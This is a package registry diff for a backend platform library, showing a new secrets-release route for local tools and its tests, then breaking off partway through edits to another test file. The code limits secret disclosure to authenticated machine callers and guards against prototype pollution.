@bevel-software/platform-core-backend 0.12.0 → 0.13.1
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/THIRD-PARTY-NOTICES.md +9 -7
- package/dist/core/create-core-server.d.ts.map +1 -1
- package/dist/core/create-core-server.js +8 -1
- package/dist/core/create-core-server.js.map +1 -1
- package/dist/core/create-core-services.d.ts.map +1 -1
- package/dist/core/create-core-services.js.map +1 -1
- package/dist/modules/access/access-control.service.d.ts +58 -2
- package/dist/modules/access/access-control.service.d.ts.map +1 -1
- package/dist/modules/access/access-control.service.js +174 -33
- package/dist/modules/access/access-control.service.js.map +1 -1
- package/dist/modules/access/admin-locked-commit.d.ts.map +1 -1
- package/dist/modules/access/admin-locked-commit.js +1 -0
- package/dist/modules/access/admin-locked-commit.js.map +1 -1
- package/dist/modules/access/synced-groups-committer.js +1 -1
- package/dist/modules/access/synced-groups-committer.js.map +1 -1
- package/dist/modules/access-model/access-errors.d.ts +11 -0
- package/dist/modules/access-model/access-errors.d.ts.map +1 -1
- package/dist/modules/access-model/access-errors.js +14 -0
- package/dist/modules/access-model/access-errors.js.map +1 -1
- package/dist/modules/access-model/access-grammar.d.ts +24 -8
- package/dist/modules/access-model/access-grammar.d.ts.map +1 -1
- package/dist/modules/access-model/access-grammar.js +64 -3
- package/dist/modules/access-model/access-grammar.js.map +1 -1
- package/dist/modules/declared-variables/declared-variables.routes.d.ts +42 -0
- package/dist/modules/declared-variables/declared-variables.routes.d.ts.map +1 -0
- package/dist/modules/declared-variables/declared-variables.routes.js +135 -0
- package/dist/modules/declared-variables/declared-variables.routes.js.map +1 -0
- package/dist/modules/declared-variables/index.d.ts +2 -0
- package/dist/modules/declared-variables/index.d.ts.map +1 -0
- package/dist/modules/declared-variables/index.js +2 -0
- package/dist/modules/declared-variables/index.js.map +1 -0
- package/dist/modules/diff/diff.routes.d.ts +1 -1
- package/dist/modules/diff/diff.routes.d.ts.map +1 -1
- package/dist/modules/diff/diff.routes.js +3 -3
- package/dist/modules/diff/diff.routes.js.map +1 -1
- package/dist/modules/kb-fs/clone-config.d.ts +40 -2
- package/dist/modules/kb-fs/clone-config.d.ts.map +1 -1
- package/dist/modules/kb-fs/clone-config.js +94 -2
- package/dist/modules/kb-fs/clone-config.js.map +1 -1
- package/dist/modules/kb-fs/locking-filesystem.d.ts +16 -0
- package/dist/modules/kb-fs/locking-filesystem.d.ts.map +1 -1
- package/dist/modules/kb-fs/locking-filesystem.js +20 -0
- package/dist/modules/kb-fs/locking-filesystem.js.map +1 -1
- package/dist/modules/kb-fs/repo-path.d.ts +32 -0
- package/dist/modules/kb-fs/repo-path.d.ts.map +1 -0
- package/dist/modules/kb-fs/repo-path.js +54 -0
- package/dist/modules/kb-fs/repo-path.js.map +1 -0
- package/dist/modules/secrets-vault/db-secrets-vault.service.d.ts.map +1 -1
- package/dist/modules/secrets-vault/db-secrets-vault.service.js +60 -18
- package/dist/modules/secrets-vault/db-secrets-vault.service.js.map +1 -1
- package/dist/modules/secrets-vault/mcp-oauth-discovery.service.d.ts +20 -0
- package/dist/modules/secrets-vault/mcp-oauth-discovery.service.d.ts.map +1 -1
- package/dist/modules/secrets-vault/mcp-oauth-discovery.service.js +121 -47
- package/dist/modules/secrets-vault/mcp-oauth-discovery.service.js.map +1 -1
- package/dist/modules/secrets-vault/secrets-vault.routes.d.ts.map +1 -1
- package/dist/modules/secrets-vault/secrets-vault.routes.js +20 -2
- package/dist/modules/secrets-vault/secrets-vault.routes.js.map +1 -1
- package/dist/modules/tool-helpers/tool-context.d.ts.map +1 -1
- package/dist/modules/tool-helpers/tool-context.js +1 -0
- package/dist/modules/tool-helpers/tool-context.js.map +1 -1
- package/dist/modules/tool-manuals/mcp-json-discovery.d.ts.map +1 -1
- package/dist/modules/tool-manuals/mcp-json-discovery.js +45 -12
- package/dist/modules/tool-manuals/mcp-json-discovery.js.map +1 -1
- package/dist/modules/tool-manuals/mcp-server-edit.service.d.ts.map +1 -1
- package/dist/modules/tool-manuals/mcp-server-edit.service.js +2 -1
- package/dist/modules/tool-manuals/mcp-server-edit.service.js.map +1 -1
- package/dist/modules/tool-manuals/tool-manuals.contract.d.ts +40 -8
- package/dist/modules/tool-manuals/tool-manuals.contract.d.ts.map +1 -1
- package/dist/modules/tool-manuals/tool-manuals.service.d.ts +38 -14
- package/dist/modules/tool-manuals/tool-manuals.service.d.ts.map +1 -1
- package/dist/modules/tool-manuals/tool-manuals.service.js +164 -55
- package/dist/modules/tool-manuals/tool-manuals.service.js.map +1 -1
- package/dist/modules/tool-manuals/tool-manuals.tools.d.ts.map +1 -1
- package/dist/modules/tool-manuals/tool-manuals.tools.js +10 -5
- package/dist/modules/tool-manuals/tool-manuals.tools.js.map +1 -1
- package/dist/modules/tool-manuals/utcp-cli-parse-only.d.ts +55 -0
- package/dist/modules/tool-manuals/utcp-cli-parse-only.d.ts.map +1 -0
- package/dist/modules/tool-manuals/utcp-cli-parse-only.js +76 -0
- package/dist/modules/tool-manuals/utcp-cli-parse-only.js.map +1 -0
- package/dist/modules/workflow/agent-tools/workflow.tools.d.ts +3 -1
- package/dist/modules/workflow/agent-tools/workflow.tools.d.ts.map +1 -1
- package/dist/modules/workflow/agent-tools/workflow.tools.js +19 -2
- package/dist/modules/workflow/agent-tools/workflow.tools.js.map +1 -1
- package/dist/modules/workflow/git/git.service.d.ts +32 -1
- package/dist/modules/workflow/git/git.service.d.ts.map +1 -1
- package/dist/modules/workflow/git/git.service.js +70 -5
- package/dist/modules/workflow/git/git.service.js.map +1 -1
- package/dist/modules/workflow/git/pull-request.service.d.ts +3 -3
- package/dist/modules/workflow/git/pull-request.service.d.ts.map +1 -1
- package/dist/modules/workflow/git/pull-request.service.js +20 -2
- package/dist/modules/workflow/git/pull-request.service.js.map +1 -1
- package/dist/modules/workflow/pending-commits.worker.d.ts +8 -0
- package/dist/modules/workflow/pending-commits.worker.d.ts.map +1 -1
- package/dist/modules/workflow/pending-commits.worker.js +74 -16
- package/dist/modules/workflow/pending-commits.worker.js.map +1 -1
- package/dist/modules/workflow/review-workflow/review-workflow.service.d.ts.map +1 -1
- package/dist/modules/workflow/review-workflow/review-workflow.service.js +7 -0
- package/dist/modules/workflow/review-workflow/review-workflow.service.js.map +1 -1
- package/dist/modules/workflow/workflow.routes.d.ts.map +1 -1
- package/dist/modules/workflow/workflow.routes.js +12 -0
- package/dist/modules/workflow/workflow.routes.js.map +1 -1
- package/dist/modules/workflow/workflow.service.d.ts +39 -0
- package/dist/modules/workflow/workflow.service.d.ts.map +1 -1
- package/dist/modules/workflow/workflow.service.js +116 -6
- package/dist/modules/workflow/workflow.service.js.map +1 -1
- package/dist/modules/workspace/startup/kb-git.d.ts.map +1 -1
- package/dist/modules/workspace/startup/kb-git.js +21 -4
- package/dist/modules/workspace/startup/kb-git.js.map +1 -1
- package/dist/modules/workspace/workspace.service.d.ts +52 -8
- package/dist/modules/workspace/workspace.service.d.ts.map +1 -1
- package/dist/modules/workspace/workspace.service.js +121 -23
- package/dist/modules/workspace/workspace.service.js.map +1 -1
- package/dist/modules/workspace/workspace.tools.d.ts.map +1 -1
- package/dist/modules/workspace/workspace.tools.js +31 -15
- package/dist/modules/workspace/workspace.tools.js.map +1 -1
- package/kb-template/AGENTS.md +52 -8
- package/package.json +6 -5
- package/src/core/create-core-server.ts +13 -1
- package/src/core/create-core-services.ts +1 -0
- package/src/modules/access/__tests__/access-control.atref-cache.test.ts +260 -0
- package/src/modules/access/__tests__/access-groups.test.ts +28 -0
- package/src/modules/access/access-control.service.ts +198 -37
- package/src/modules/access/admin-locked-commit.ts +1 -0
- package/src/modules/access/synced-groups-committer.ts +1 -1
- package/src/modules/access-model/__tests__/access-grammar.test.ts +101 -1
- package/src/modules/access-model/access-errors.ts +19 -0
- package/src/modules/access-model/access-grammar.ts +67 -3
- package/src/modules/declared-variables/__tests__/declared-variables.route.test.ts +166 -0
- package/src/modules/declared-variables/declared-variables.routes.ts +151 -0
- package/src/modules/declared-variables/index.ts +1 -0
- package/src/modules/diff/__tests__/diff.routes.rejectPathsLocked.test.ts +4 -4
- package/src/modules/diff/diff.routes.ts +3 -2
- package/src/modules/kb-fs/__tests__/clone-config.test.ts +63 -2
- package/src/modules/kb-fs/__tests__/locking-filesystem.test.ts +306 -131
- package/src/modules/kb-fs/__tests__/repo-path.test.ts +106 -0
- package/src/modules/kb-fs/clone-config.ts +97 -2
- package/src/modules/kb-fs/locking-filesystem.ts +30 -0
- package/src/modules/kb-fs/repo-path.ts +56 -0
- package/src/modules/secrets-vault/__tests__/db-secrets-vault.oauth.test.ts +104 -0
- package/src/modules/secrets-vault/__tests__/mcp-oauth-discovery.service.test.ts +52 -0
- package/src/modules/secrets-vault/__tests__/tool-owner-gate.route.test.ts +48 -1
- package/src/modules/secrets-vault/db-secrets-vault.service.ts +73 -22
- package/src/modules/secrets-vault/mcp-oauth-discovery.service.ts +141 -50
- package/src/modules/secrets-vault/secrets-vault.routes.ts +20 -2
- package/src/modules/tool-helpers/tool-context.ts +1 -0
- package/src/modules/tool-manuals/__tests__/mcp-json-discovery.test.ts +38 -0
- package/src/modules/tool-manuals/__tests__/mcp-server-edit.service.test.ts +2 -0
- package/src/modules/tool-manuals/__tests__/tool-manuals.cli.test.ts +243 -0
- package/src/modules/tool-manuals/__tests__/tool-manuals.mcp-oauth.test.ts +95 -0
- package/src/modules/tool-manuals/__tests__/tool-manuals.service.test.ts +17 -1
- package/src/modules/tool-manuals/mcp-json-discovery.ts +39 -15
- package/src/modules/tool-manuals/mcp-server-edit.service.ts +2 -1
- package/src/modules/tool-manuals/tool-manuals.contract.ts +40 -9
- package/src/modules/tool-manuals/tool-manuals.service.ts +156 -28
- package/src/modules/tool-manuals/tool-manuals.tools.ts +10 -5
- package/src/modules/tool-manuals/utcp-cli-parse-only.ts +76 -0
- package/src/modules/workflow/__tests__/pending-commits.worker.test.ts +46 -0
- package/src/modules/workflow/__tests__/workflow.service.commitFileWhileLocked.test.ts +11 -5
- package/src/modules/workflow/__tests__/workflow.service.releaseLock.test.ts +172 -7
- package/src/modules/workflow/agent-tools/__tests__/workflow.tools.test.ts +60 -1
- package/src/modules/workflow/agent-tools/workflow.tools.ts +18 -1
- package/src/modules/workflow/git/__tests__/git.service.changedFilesForPr.test.ts +56 -0
- package/src/modules/workflow/git/__tests__/git.service.commitFile.strayPath.test.ts +162 -0
- package/src/modules/workflow/git/__tests__/pull-request.service.getPrDetail.test.ts +114 -0
- package/src/modules/workflow/git/git.service.ts +73 -6
- package/src/modules/workflow/git/pull-request.service.ts +22 -4
- package/src/modules/workflow/pending-commits.worker.ts +80 -18
- package/src/modules/workflow/review-workflow/__tests__/approval-states.test.ts +60 -0
- package/src/modules/workflow/review-workflow/review-workflow.service.ts +5 -0
- package/src/modules/workflow/workflow.routes.ts +12 -0
- package/src/modules/workflow/workflow.service.ts +123 -7
- package/src/modules/workspace/__tests__/workspace.service.test.ts +1 -1
- package/src/modules/workspace/__tests__/workspace.tools.test.ts +45 -0
- package/src/modules/workspace/startup/__tests__/kb-startup-runner.test.ts +141 -0
- package/src/modules/workspace/startup/kb-git.ts +20 -7
- package/src/modules/workspace/workspace.service.ts +132 -25
- package/src/modules/workspace/workspace.tools.ts +35 -15
|
@@ -0,0 +1,166 @@
|
|
|
1
|
+
import type { Server as HttpServer } from 'node:http';
|
|
2
|
+
import express from 'express';
|
|
3
|
+
import { afterEach, describe, expect, it, vi } from 'vitest';
|
|
4
|
+
import { createDeclaredVariableRoutes } from '../declared-variables.routes.js';
|
|
5
|
+
import type { IToolManualService, ToolManualSummary } from '../../tool-manuals/tool-manuals.contract.js';
|
|
6
|
+
import type { ISecretsVaultService } from '../../secrets-vault/secrets-vault.contract.js';
|
|
7
|
+
|
|
8
|
+
/**
|
|
9
|
+
* The one core route that releases secret VALUES. What is worth pinning here is
|
|
10
|
+
* not the happy path but the shape of the boundary: the caller names a FILE,
|
|
11
|
+
* the server decides the variables, unreadable means 404, and a
|
|
12
|
+
* platform-executed tool never releases anything.
|
|
13
|
+
*/
|
|
14
|
+
|
|
15
|
+
const GIT_TOOL: ToolManualSummary = {
|
|
16
|
+
slug: 'git',
|
|
17
|
+
name: 'git',
|
|
18
|
+
path: 'Plugins/Engineering/software.bevel.hexis/tools/git.tool',
|
|
19
|
+
type: 'inline',
|
|
20
|
+
remote: false,
|
|
21
|
+
variables: [
|
|
22
|
+
{ name: 'GITHUB_TOKEN', scope: 'admin' },
|
|
23
|
+
{ name: 'OPTIONAL_TOKEN', scope: 'admin' },
|
|
24
|
+
],
|
|
25
|
+
};
|
|
26
|
+
|
|
27
|
+
const REMOTE_TOOL: ToolManualSummary = {
|
|
28
|
+
slug: 'billing',
|
|
29
|
+
name: 'billing',
|
|
30
|
+
path: 'Plugins/billing.tool',
|
|
31
|
+
type: 'http',
|
|
32
|
+
remote: true,
|
|
33
|
+
variables: [{ name: 'BILLING_KEY', scope: 'admin' }],
|
|
34
|
+
};
|
|
35
|
+
|
|
36
|
+
let httpServer: HttpServer | undefined;
|
|
37
|
+
|
|
38
|
+
interface Harness {
|
|
39
|
+
base: string;
|
|
40
|
+
resolve: ReturnType<typeof vi.fn>;
|
|
41
|
+
}
|
|
42
|
+
|
|
43
|
+
async function mount(opts: {
|
|
44
|
+
userId?: string;
|
|
45
|
+
/** How the caller authenticated. `session` is a browser; anything else is a machine. */
|
|
46
|
+
source?: 'session' | 'external' | 'internal';
|
|
47
|
+
manuals?: ToolManualSummary[];
|
|
48
|
+
secrets?: Record<string, string>;
|
|
49
|
+
}): Promise<Harness> {
|
|
50
|
+
const userId = opts.userId ?? 'user-1';
|
|
51
|
+
const source = opts.source ?? 'external';
|
|
52
|
+
const secrets = opts.secrets ?? {};
|
|
53
|
+
const resolve = vi.fn(async (_u: string, key: string) => secrets[key] ?? null);
|
|
54
|
+
|
|
55
|
+
const toolManualService = {
|
|
56
|
+
listAccessible: async () => opts.manuals ?? [],
|
|
57
|
+
} as unknown as IToolManualService;
|
|
58
|
+
const secretsVault = { resolve } as unknown as ISecretsVaultService;
|
|
59
|
+
|
|
60
|
+
const app = express();
|
|
61
|
+
app.use(express.json());
|
|
62
|
+
app.use(
|
|
63
|
+
createDeclaredVariableRoutes(
|
|
64
|
+
toolManualService,
|
|
65
|
+
secretsVault,
|
|
66
|
+
(req, _res, next) => {
|
|
67
|
+
if (userId) req.toolAuth = { userId, source, scope: 'write' } as typeof req.toolAuth;
|
|
68
|
+
next();
|
|
69
|
+
},
|
|
70
|
+
async () => 'runner@x.eu',
|
|
71
|
+
),
|
|
72
|
+
);
|
|
73
|
+
httpServer = await new Promise<HttpServer>((r) => {
|
|
74
|
+
const s = app.listen(0, () => r(s));
|
|
75
|
+
});
|
|
76
|
+
const port = (httpServer.address() as { port: number }).port;
|
|
77
|
+
return { base: `http://127.0.0.1:${port}`, resolve };
|
|
78
|
+
}
|
|
79
|
+
|
|
80
|
+
afterEach(async () => {
|
|
81
|
+
if (httpServer) await new Promise<void>((r) => httpServer!.close(() => r()));
|
|
82
|
+
httpServer = undefined;
|
|
83
|
+
vi.restoreAllMocks();
|
|
84
|
+
});
|
|
85
|
+
|
|
86
|
+
describe('POST /agent/local-tools/:slug/variables', () => {
|
|
87
|
+
it('resolves exactly what the manual declares, and reports the rest as missing', async () => {
|
|
88
|
+
const { base, resolve } = await mount({
|
|
89
|
+
manuals: [GIT_TOOL],
|
|
90
|
+
secrets: { git_GITHUB_TOKEN: 'ghp_secret' },
|
|
91
|
+
});
|
|
92
|
+
const res = await fetch(`${base}/agent/local-tools/git/variables`, { method: 'POST' });
|
|
93
|
+
expect(res.status).toBe(200);
|
|
94
|
+
expect(await res.json()).toEqual({
|
|
95
|
+
name: 'git',
|
|
96
|
+
variables: { GITHUB_TOKEN: 'ghp_secret' },
|
|
97
|
+
missing: ['OPTIONAL_TOKEN'],
|
|
98
|
+
});
|
|
99
|
+
// The keys asked of the vault come from the FILE, namespaced per manual.
|
|
100
|
+
expect(resolve.mock.calls.map((c) => c[1])).toEqual(['git_GITHUB_TOKEN', 'git_OPTIONAL_TOKEN']);
|
|
101
|
+
});
|
|
102
|
+
|
|
103
|
+
it('returns a variable named __proto__ rather than losing it to the prototype', async () => {
|
|
104
|
+
// `__proto__` is a valid `[A-Za-z0-9_]+` name. On a plain object the
|
|
105
|
+
// assignment sets the prototype, and the resolved secret vanished from the
|
|
106
|
+
// response with nothing to say it had.
|
|
107
|
+
const proto: ToolManualSummary = { ...GIT_TOOL, variables: [{ name: '__proto__', scope: 'admin' }] };
|
|
108
|
+
const { base } = await mount({ manuals: [proto], secrets: { git___proto__: 'p-secret' } });
|
|
109
|
+
const res = await fetch(`${base}/agent/local-tools/git/variables`, { method: 'POST' });
|
|
110
|
+
const body = (await res.json()) as { variables: Record<string, string>; missing: string[] };
|
|
111
|
+
expect(body.variables.__proto__).toBe('p-secret');
|
|
112
|
+
expect(body.missing).toEqual([]);
|
|
113
|
+
});
|
|
114
|
+
|
|
115
|
+
it('never caches a response carrying a secret', async () => {
|
|
116
|
+
const { base } = await mount({ manuals: [GIT_TOOL], secrets: { git_GITHUB_TOKEN: 'x' } });
|
|
117
|
+
const res = await fetch(`${base}/agent/local-tools/git/variables`, { method: 'POST' });
|
|
118
|
+
expect(res.headers.get('cache-control')).toBe('no-store');
|
|
119
|
+
});
|
|
120
|
+
|
|
121
|
+
it('refuses a tool the platform itself executes', async () => {
|
|
122
|
+
// A remote-capable tool's credentials are used server-side; releasing them
|
|
123
|
+
// would egress a secret that had no reason to leave.
|
|
124
|
+
const { base, resolve } = await mount({ manuals: [REMOTE_TOOL], secrets: { billing_BILLING_KEY: 'k' } });
|
|
125
|
+
const res = await fetch(`${base}/agent/local-tools/billing/variables`, { method: 'POST' });
|
|
126
|
+
expect(res.status).toBe(409);
|
|
127
|
+
expect(resolve).not.toHaveBeenCalled();
|
|
128
|
+
});
|
|
129
|
+
|
|
130
|
+
it('404s a manual the caller cannot read', async () => {
|
|
131
|
+
const { base, resolve } = await mount({ manuals: [] });
|
|
132
|
+
expect((await fetch(`${base}/agent/local-tools/git/variables`, { method: 'POST' })).status).toBe(404);
|
|
133
|
+
expect(resolve).not.toHaveBeenCalled();
|
|
134
|
+
});
|
|
135
|
+
|
|
136
|
+
it('403s an unauthenticated caller', async () => {
|
|
137
|
+
const { base } = await mount({ userId: '', manuals: [GIT_TOOL] });
|
|
138
|
+
expect((await fetch(`${base}/agent/local-tools/git/variables`, { method: 'POST' })).status).toBe(403);
|
|
139
|
+
});
|
|
140
|
+
|
|
141
|
+
it('refuses a BROWSER SESSION, even one that can read the tool', async () => {
|
|
142
|
+
// `manualAuth` accepts a session JWT, which is right for manual discovery
|
|
143
|
+
// and wrong here: this route hands back secret VALUES, and the Secrets page
|
|
144
|
+
// is deliberately write-only — a field starts empty even when a value
|
|
145
|
+
// exists. A session that could read values back would undo that for anyone
|
|
146
|
+
// with mere READ access to a `.tool`.
|
|
147
|
+
const { base, resolve } = await mount({
|
|
148
|
+
source: 'session',
|
|
149
|
+
manuals: [GIT_TOOL],
|
|
150
|
+
secrets: { git_GITHUB_TOKEN: 'ghp_secret' },
|
|
151
|
+
});
|
|
152
|
+
const res = await fetch(`${base}/agent/local-tools/git/variables`, { method: 'POST' });
|
|
153
|
+
expect(res.status).toBe(403);
|
|
154
|
+
expect(await res.text()).not.toContain('ghp_secret');
|
|
155
|
+
expect(resolve).not.toHaveBeenCalled();
|
|
156
|
+
});
|
|
157
|
+
|
|
158
|
+
it('allows the machine callers that need it', async () => {
|
|
159
|
+
for (const source of ['external', 'internal'] as const) {
|
|
160
|
+
const { base } = await mount({ source, manuals: [GIT_TOOL], secrets: { git_GITHUB_TOKEN: 'x' } });
|
|
161
|
+
expect((await fetch(`${base}/agent/local-tools/git/variables`, { method: 'POST' })).status).toBe(200);
|
|
162
|
+
if (httpServer) await new Promise<void>((r) => httpServer!.close(() => r()));
|
|
163
|
+
httpServer = undefined;
|
|
164
|
+
}
|
|
165
|
+
});
|
|
166
|
+
});
|
|
@@ -0,0 +1,151 @@
|
|
|
1
|
+
import express, { type Request, type RequestHandler } from 'express';
|
|
2
|
+
import { utcpNamespacedKey } from '../../shared/utcp-namespace.js';
|
|
3
|
+
import type { IToolManualService } from '../tool-manuals/tool-manuals.contract.js';
|
|
4
|
+
import type { ISecretsVaultService } from '../secrets-vault/secrets-vault.contract.js';
|
|
5
|
+
|
|
6
|
+
type ResolveUserEmail = (userId: string) => Promise<string | undefined>;
|
|
7
|
+
|
|
8
|
+
/**
|
|
9
|
+
* The ONLY core route that returns secret VALUES.
|
|
10
|
+
*
|
|
11
|
+
* Everywhere else a credential is resolved in-process at tool-call time and
|
|
12
|
+
* never crosses the wire — `resolve()` has one caller, the UTCP variable
|
|
13
|
+
* loader. One runtime outside this process legitimately needs values anyway:
|
|
14
|
+
* the LOCAL MCP server, which executes a `remote: false` `.tool` on the user's
|
|
15
|
+
* own machine and has to expand that manual's `${VAR}` refs there.
|
|
16
|
+
*
|
|
17
|
+
* The discipline that makes this safe, and the reason it is a narrow route
|
|
18
|
+
* rather than a generic "resolve these keys" endpoint: **the caller never names
|
|
19
|
+
* the variables**. It names a knowledge-base file; the server re-reads that
|
|
20
|
+
* file from the DEFAULT branch and resolves exactly what the file declares.
|
|
21
|
+
* The knowledge base is the allowlist, it is reviewable as a diff, and no
|
|
22
|
+
* caller — however privileged its connection key — can widen it.
|
|
23
|
+
*
|
|
24
|
+
* Three further constraints hold here:
|
|
25
|
+
*
|
|
26
|
+
* 1. **Read access is required.** A caller that cannot read the declaring file
|
|
27
|
+
* gets a 404, not an empty object: whether a manual exists is itself
|
|
28
|
+
* information.
|
|
29
|
+
* 2. **Only local manuals.** A remote-capable `.tool`'s credentials are used
|
|
30
|
+
* server-side; handing them to a local caller would egress a secret that had
|
|
31
|
+
* no reason to leave.
|
|
32
|
+
* 3. **Values are never logged, only names.** Every resolve emits one audit
|
|
33
|
+
* line naming the caller, the file and the variable names — enough to
|
|
34
|
+
* reconstruct who was handed what, and never the what itself.
|
|
35
|
+
*
|
|
36
|
+
* Responses are `no-store`: a secret must not sit in an intermediary cache.
|
|
37
|
+
*
|
|
38
|
+
* An overlay that ships its own kind of declaring file adds its own route in
|
|
39
|
+
* this same shape rather than widening this one. The allowlist has to be a file
|
|
40
|
+
* the server itself reads, and a route that understood several file kinds would
|
|
41
|
+
* be one refactor away from taking the list from the caller.
|
|
42
|
+
*/
|
|
43
|
+
export function createDeclaredVariableRoutes(
|
|
44
|
+
toolManualService: IToolManualService,
|
|
45
|
+
secretsVault: ISecretsVaultService,
|
|
46
|
+
manualAuth: RequestHandler,
|
|
47
|
+
resolveUserEmail: ResolveUserEmail,
|
|
48
|
+
): express.Router {
|
|
49
|
+
const router = express.Router();
|
|
50
|
+
|
|
51
|
+
/**
|
|
52
|
+
* Who is asking — and only if it is a MACHINE.
|
|
53
|
+
*
|
|
54
|
+
* `manualAuth` also accepts a browser session JWT, which is right for the
|
|
55
|
+
* rest of the agent surface: manual discovery is a read-only listing a
|
|
56
|
+
* signed-in user may legitimately fetch. It is wrong here. This route hands
|
|
57
|
+
* back secret VALUES, and the Secrets page is deliberately write-only —
|
|
58
|
+
* a field starts empty even when a value exists, and saving replaces rather
|
|
59
|
+
* than reveals. A session token that could read values back would undo that,
|
|
60
|
+
* and would do it for anyone who can merely READ a `.tool`.
|
|
61
|
+
*
|
|
62
|
+
* The caller that needs this is the local MCP server, which authenticates
|
|
63
|
+
* with a connection key or an internal token. A browser has no reason to ask
|
|
64
|
+
* at all, so a session is refused rather than scoped.
|
|
65
|
+
*/
|
|
66
|
+
async function machineCaller(req: Request): Promise<{ userId: string; email: string } | null> {
|
|
67
|
+
const auth = req.toolAuth;
|
|
68
|
+
if (!auth?.userId || auth.source === 'session') return null;
|
|
69
|
+
try {
|
|
70
|
+
const email = await resolveUserEmail(auth.userId);
|
|
71
|
+
return email ? { userId: auth.userId, email } : null;
|
|
72
|
+
} catch {
|
|
73
|
+
return null;
|
|
74
|
+
}
|
|
75
|
+
}
|
|
76
|
+
|
|
77
|
+
/**
|
|
78
|
+
* Resolve one variable set, and report which names came back empty.
|
|
79
|
+
*
|
|
80
|
+
* A missing secret is NOT an error here. The runtime that asked is better
|
|
81
|
+
* placed to decide — a local tool may have an optional token, and the
|
|
82
|
+
* execution layer wants to fail the step with the variable's name in the
|
|
83
|
+
* message rather than receive a 500 it can only call "infra". So the value
|
|
84
|
+
* map carries what resolved and `missing` carries the rest.
|
|
85
|
+
*/
|
|
86
|
+
async function resolveAll(
|
|
87
|
+
userId: string,
|
|
88
|
+
entries: { name: string; key: string }[],
|
|
89
|
+
): Promise<{ values: Record<string, string>; missing: string[] }> {
|
|
90
|
+
// Null-prototype: a manual may legitimately declare a variable named
|
|
91
|
+
// `__proto__` (the name grammar is `[A-Za-z0-9_]+`), and on a plain object
|
|
92
|
+
// that assignment silently sets the prototype instead of a property — the
|
|
93
|
+
// secret resolves and then vanishes from the response.
|
|
94
|
+
const values: Record<string, string> = Object.create(null) as Record<string, string>;
|
|
95
|
+
const missing: string[] = [];
|
|
96
|
+
const resolved = await Promise.all(
|
|
97
|
+
entries.map(async (e) => ({ name: e.name, value: await secretsVault.resolve(userId, e.key) })),
|
|
98
|
+
);
|
|
99
|
+
for (const r of resolved) {
|
|
100
|
+
if (typeof r.value === 'string' && r.value.length > 0) values[r.name] = r.value;
|
|
101
|
+
else missing.push(r.name);
|
|
102
|
+
}
|
|
103
|
+
return { values, missing };
|
|
104
|
+
}
|
|
105
|
+
|
|
106
|
+
/**
|
|
107
|
+
* The variables a LOCAL `.tool` declares, for the local MCP server to expand
|
|
108
|
+
* into a tool invocation there. The manual is re-read server-side; the caller
|
|
109
|
+
* sends nothing but the slug.
|
|
110
|
+
*/
|
|
111
|
+
router.post('/agent/local-tools/:slug/variables', manualAuth, async (req, res) => {
|
|
112
|
+
const who = await machineCaller(req);
|
|
113
|
+
if (!who) {
|
|
114
|
+
return void res.status(403).json({
|
|
115
|
+
error:
|
|
116
|
+
'This endpoint releases secret values to a local runtime and is not reachable with a browser session. ' +
|
|
117
|
+
'Use a connection key.',
|
|
118
|
+
});
|
|
119
|
+
}
|
|
120
|
+
const slug = String(req.params.slug);
|
|
121
|
+
try {
|
|
122
|
+
// `listAccessible` already applies the per-file read verdict, so an
|
|
123
|
+
// unreadable manual is simply absent — same fail-closed read model the
|
|
124
|
+
// catalog uses.
|
|
125
|
+
const manual = (await toolManualService.listAccessible(who.email)).find((m) => m.slug === slug);
|
|
126
|
+
if (!manual) return void res.status(404).json({ error: 'Not found' });
|
|
127
|
+
if (manual.remote !== false) {
|
|
128
|
+
return void res.status(409).json({
|
|
129
|
+
error:
|
|
130
|
+
'This tool runs on the platform, so its credentials are resolved there and never released. ' +
|
|
131
|
+
'Only a `remote: false` tool resolves its variables locally.',
|
|
132
|
+
});
|
|
133
|
+
}
|
|
134
|
+
const entries = (manual.variables ?? []).map((v) => ({
|
|
135
|
+
name: v.name,
|
|
136
|
+
key: utcpNamespacedKey(manual.name, v.name),
|
|
137
|
+
}));
|
|
138
|
+
const { values, missing } = await resolveAll(who.userId, entries);
|
|
139
|
+
console.info(
|
|
140
|
+
`[declared-variables] local tool "${manual.path}" resolved for user=${who.userId}: ` +
|
|
141
|
+
`provided=[${Object.keys(values).join(',')}] missing=[${missing.join(',')}]`,
|
|
142
|
+
);
|
|
143
|
+
res.set('Cache-Control', 'no-store').json({ name: manual.name, variables: values, missing });
|
|
144
|
+
} catch (err) {
|
|
145
|
+
console.error('[declared-variables] local tool resolve failed:', err instanceof Error ? err.message : err);
|
|
146
|
+
res.status(500).json({ error: 'Failed to resolve variables' });
|
|
147
|
+
}
|
|
148
|
+
});
|
|
149
|
+
|
|
150
|
+
return router;
|
|
151
|
+
}
|
|
@@ -0,0 +1 @@
|
|
|
1
|
+
export { createDeclaredVariableRoutes } from './declared-variables.routes.js';
|
|
@@ -82,7 +82,7 @@ describe('rejectPathsLocked', () => {
|
|
|
82
82
|
const h = await makeHarness();
|
|
83
83
|
workspaceDir = h.workspaceDir;
|
|
84
84
|
|
|
85
|
-
await rejectPathsLocked(h.workflow, h.diff, WORKSPACE_ID, USER, [
|
|
85
|
+
await rejectPathsLocked(h.workflow, h.diff, WORKSPACE_ID, USER, 'knowledge-base', [
|
|
86
86
|
'knowledge-base/a.md',
|
|
87
87
|
'knowledge-base/added.md',
|
|
88
88
|
]);
|
|
@@ -104,7 +104,7 @@ describe('rejectPathsLocked', () => {
|
|
|
104
104
|
const h = await makeHarness();
|
|
105
105
|
workspaceDir = h.workspaceDir;
|
|
106
106
|
await expect(
|
|
107
|
-
rejectPathsLocked(h.workflow, h.diff, WORKSPACE_ID, USER, []),
|
|
107
|
+
rejectPathsLocked(h.workflow, h.diff, WORKSPACE_ID, USER, 'knowledge-base', []),
|
|
108
108
|
).resolves.toBeUndefined();
|
|
109
109
|
expect(h.calls).toEqual([]);
|
|
110
110
|
});
|
|
@@ -119,7 +119,7 @@ describe('rejectPathsLocked', () => {
|
|
|
119
119
|
workspaceDir = h.workspaceDir;
|
|
120
120
|
|
|
121
121
|
await expect(
|
|
122
|
-
rejectPathsLocked(h.workflow, h.diff, WORKSPACE_ID, USER, [
|
|
122
|
+
rejectPathsLocked(h.workflow, h.diff, WORKSPACE_ID, USER, 'knowledge-base', [
|
|
123
123
|
'knowledge-base/a.md',
|
|
124
124
|
'knowledge-base/added.md',
|
|
125
125
|
]),
|
|
@@ -140,7 +140,7 @@ describe('rejectPathsLocked', () => {
|
|
|
140
140
|
